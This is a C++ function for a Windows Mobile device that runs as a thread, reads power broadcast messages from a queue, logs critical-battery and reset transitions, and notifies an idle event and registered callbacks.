DWORD WINAPI PowerStateNotifier(LPVOID lpParam) {
Device *deviceObj = Device::self();
Log logInfo;
HANDLE hQueue, hIdle;
DWORD dwRet, dwRead = 0, dwFlags = 0;
POWER_BROADCAST *powerBroad;
BYTE bd[sizeof(POWER_BROADCAST) + (MAX_PATH + 1) * sizeof(WCHAR)];
powerBroad = (POWER_BROADCAST *)bd;
//SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
hQueue = (HANDLE)lpParam;
hIdle = deviceObj->getIdleEvent();
LOOP {
dwRet = WaitForSingleObject(hQueue, INFINITE);
if (bResetStop) {
DBG_TRACE(L"Debug - Device.cpp - PowerStateNotifier() thread closing\n", 1, FALSE);
return 0;
}
if (ReadMsgQueue(hQueue, powerBroad, sizeof(bd), &dwRead, 1, &dwFlags)) {
if (powerBroad->Message & PBT_TRANSITION) {
switch (powerBroad->Flags) {
//case POWER_STATE_OFF:
// logInfo.WriteLogInfo(L"Power off");
// break;
case POWER_STATE_CRITICAL:
logInfo.WriteLogInfo(L"Phone is turning off, battery level critical");
break;
case POWER_STATE_RESET:
logInfo.WriteLogInfo(L"Reset");
break;
default:
break;
}
// Avvertiamo il thread che il powerstate e' cambiato
SetEvent(hIdle);
}
}
// Richiama tutte le callback registrate
deviceObj->CallRegisteredCallbacks(powerBroad);
}
}
